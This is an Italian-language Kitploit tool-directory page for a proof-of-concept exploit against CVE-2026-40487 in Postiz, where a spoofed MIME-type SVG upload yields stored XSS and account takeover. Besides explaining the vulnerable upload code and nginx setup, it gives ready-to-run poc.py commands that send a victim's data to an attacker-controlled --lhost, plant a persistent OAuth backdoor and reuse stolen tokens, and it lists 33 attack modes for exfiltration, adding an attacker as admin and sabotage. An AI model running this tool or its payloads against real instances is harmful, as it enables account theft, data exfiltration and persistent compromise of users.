Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40487 — Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza. | Kitploit
Strumenti/GitHubGitHub/astaruf/cve-2026-40487
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Vedi Repository
375 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Proof-of-concept exploit per CVE-2026-40487, che dimostra il caricamento arbitrario di file tramite spoofing MIME che porta a XSS persistente e furto dell'account in Postiz. Include molteplici modalità di attacco per l'esfiltrazione dei dati, l'escalation dei privilegi e la persistenza.

Condividi

CVE-2026-40487 - Postiz <= 2.21.5 - Caricamento Arbitrario di File tramite Spoofing del MIME-Type per XSS Persistente fino al Furto dell'Account

Scoperta e segnalata da: Astaruf

Analisi completa: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Voce GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Riepilogo

Postiz è uno strumento open-source di gestione dei social media con oltre 28 integrazioni di piattaforme (Instagram, X, LinkedIn, Facebook, TikTok, ecc.), utilizzato da oltre 600 istanze esposte su internet.

Un attaccante con privilegi bassi può caricare un file SVG (o HTML) malevolo con un header Content-Type: image/png falsificato. Il server accetta il file senza ispezionarne il contenuto effettivo, preserva l'estensione originale, e nginx lo serve con il Content-Type derivato da quell'estensione (image/svg+xml). Quando una vittima apre l'URL, il JavaScript incorporato viene eseguito nell'origine dell'applicazione, dando all'attaccante piene capacità di dirottamento della sessione, equivalenti al furto dell'account.

La catena di attacco:

L'attaccante carica .svg con Content-Type: image/png
  -> Il server valida solo l'header Content-Type (CWE-345)
    -> Il file viene salvato su disco con l'estensione .svg originale (CWE-434)
      -> nginx lo serve come image/svg+xml
        -> Il browser esegue il JavaScript incorporato (CWE-79)
          -> Stessa origine: accesso completo alla sessione della vittima

Impatto

Il payload XSS viene eseguito nella stessa origine dell'applicazione. Anche se il cookie di autenticazione è HttpOnly, fetch() con credentials: "include" lo allega automaticamente. L'attaccante può:

  • Esfiltrare il profilo della vittima, le chiavi API, i token OAuth per tutti gli account social collegati
  • Leggere, creare, modificare ed eliminare post programmati su tutte le piattaforme
  • Invitare l'attaccante come amministratore nell'organizzazione della vittima
  • Creare una backdoor OAuth persistente (token pos_* che non scade mai e sopravvive ai cambi di password)
  • Disabilitare le notifiche, cancellare le configurazioni, forzare il logout
  • Eseguire chiamate API autenticate arbitrarie come la vittima

Dettagli della Vulnerabilità

Tre componenti falliscono in modo indipendente, creando la catena di sfruttamento:

1. La Validazione del MIME-Type si Fida dell'Input del Client (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype proviene dall'header Content-Type nella richiesta multipart, che l'attaccante controlla. Nessuna ispezione dei magic byte, nessun uso di librerie come file-type.

2. Estensione Originale Preservata su Disco (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) estrae l'estensione dal nome file fornito dal client. Nessun controllo di coerenza tra il tipo MIME dichiarato e l'estensione. Il server restituisce anche l'URL pubblico completo nella risposta, quindi l'attaccante ottiene il link da inviare alla vittima.

3. nginx Serve con Content-Type Derivato dall'Estensione

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mappa .svg a image/svg+xml, .html a text/html. Nessun Content-Security-Policy, nessun X-Content-Type-Options: nosniff, nessun Content-Disposition: attachment.

Prova di Concetto

Requisiti

Python 3.8+
pip install requests

Avvio Rapido

# 1. Verifica se il target è vulnerabile
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Esfiltra tutto dalla vittima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crea una backdoor persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Riusa il token senza credenziali
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flusso di Attacco

Attaccante                  Server Postiz              Vittima
    |                              |                        |
    |-- 1. Login/Registrazione --->|                        |
    |-- 2. Upload SVG malevolo --->|                        |
    |<---- URL del file -----------|                        |
    |-- 3. Invio URL alla vittima ------------------------> |
    |                              |<--- 4. Apre l'URL ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS si esegue, esfiltra i dati ------|

Tutte le Modalità di Attacco (33)

Esfiltrazione (19 modalità) - ruba i dati della vittima
ModalitàDescrizione
dump-selfProfilo vittima, info organizzazione, tier, chiave API
dump-personalNome visualizzato, bio, foto profilo
dump-integrationsIntegrazioni social collegate e token
dump-postsPost programmati e bozze (ultimi 365 giorni)
dump-teamMembri del team, ruoli e indirizzi email
dump-mediaElenco della libreria multimediale
dump-notificationsCronologia notifiche
dump-signaturesFirme dei post
dump-webhooksWebhook configurati e i loro URL
dump-oauth-appCredenziali app OAuth (clientId, secret)
dump-copilotThread di conversazione del copilot AI
dump-billingInformazioni di fatturazione e abbonamento
dump-settingsImpostazioni shortlink e notifiche
dump-third-partyConfigurazioni integrazioni di terze parti
dump-autopostRegole di pubblicazione automatica
dump-setsSet di contenuti
dump-tagsTag dei post
dump-customersElenco clienti
full-dumpTutto quanto sopra in un singolo payload
Escalation dei Privilegi (3 modalità)
ModalitàDescrizione
add-adminInvita l'attaccante come ADMIN nell'organizzazione della vittima (--attacker-email)
rotate-keyRuota la chiave API dell'organizzazione e la esfiltra
rotate-oauthRuota il segreto dell'app OAuth e lo esfiltra
Sabotaggio (9 modalità) - azioni distruttive
Scarica lo strumento